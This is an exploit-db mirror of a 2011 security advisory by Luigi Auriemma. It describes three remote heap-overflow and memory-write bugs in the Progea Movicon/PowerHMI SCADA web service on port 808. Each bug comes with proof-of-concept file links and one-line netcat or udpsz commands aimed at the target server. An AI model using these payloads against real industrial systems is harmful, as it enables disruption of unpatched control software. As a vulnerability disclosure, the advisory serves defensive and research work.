progea movicon / powerhmi 11.2.1085 – Multiple Vulnerabilities

  • 作者: Luigi Auriemma
    日期: 2011-09-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17842/
  • #######################################################################
    
     Luigi Auriemma
    
    Application:Progea Movicon / PowerHMI
    http://www.progea.com
    Versions: <= 11.2.1085
    Platforms:Windows
    Bug:memory corruption
    Exploitation: remote
    Date: 13 Sep 2011
    Author: Luigi Auriemma
    e-mail: aluigi@autistici.org
    web:aluigi.org
    
    
    #######################################################################
    
    
    1) Introduction
    2) Bug
    3) The Code
    4) Fix
    
    
    #######################################################################
    
    ===============
    1) Introduction
    ===============
    
    
    Movicon is an italian SCADA/HMI software.
    
    
    #######################################################################
    
    ======
    2-1) Bug
    ======
    
    
    When the software runs a project it listens on port 808 for accepting
    some HTTP requests.
    
    The server is affected by a heap overflow caused by the usage of a
    negative Content-Length field which allows to corrupt the memory
    through "memcpy(heap_buffer, input, content_length_size)".
    
    
    #######################################################################
    
    ===========
    3-1) The Code
    ===========
    
    
    http://aluigi.org/poc/movicon_1.dat
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17842-1.dat
    
    nc SERVER 808 < movicon_1.dat
    
    
    #######################################################################
    
    ======
    2-2) Bug
    ======
    
    
    When the software runs a project it listens on port 808 for accepting
    some HTTP requests.
    
    The server is affected by a heap overflow caused by the usage of a
    buffer of 8192 bytes for containing the incoming HTTP requests.
    
    
    #######################################################################
    
    ===========
    3-2) The Code
    ===========
    
    
    http://aluigi.org/testz/udpsz.zip
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15707.zip
    
    udpsz -T -b 0x61 SERVER 808 10000
    
    
    #######################################################################
    
    ======
    2-3) Bug
    ======
    
    
    When the software runs a project it listens on port 808 for accepting
    some HTTP requests and on port 12233 for a particular "EIDP" protocol.
    
    Through a too big size field in the "EIDP" packets tunnelled via the
    web service (doesn't seem possible to exploit the bug via the original
    port) it's possible to write a 0x00 byte in an arbitrary memory zone
    higher than 0x7fffffff:
    
    00a29001 c6041100 mov byte ptr [ecx+edx],0ds:0023:80616161=??
    
    This limitation could make the bug interesting only in some 64bit
    environments.
    
    
    #######################################################################
    
    ===========
    3-3) The Code
    ===========
    
    
    http://aluigi.org/poc/movicon_3.dat
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17842-3.dat
    
    nc SERVER 808 < movicon_3.dat
    
    
    #######################################################################
    
    ======
    4) Fix
    ======
    
    
    No fix.
    
    
    #######################################################################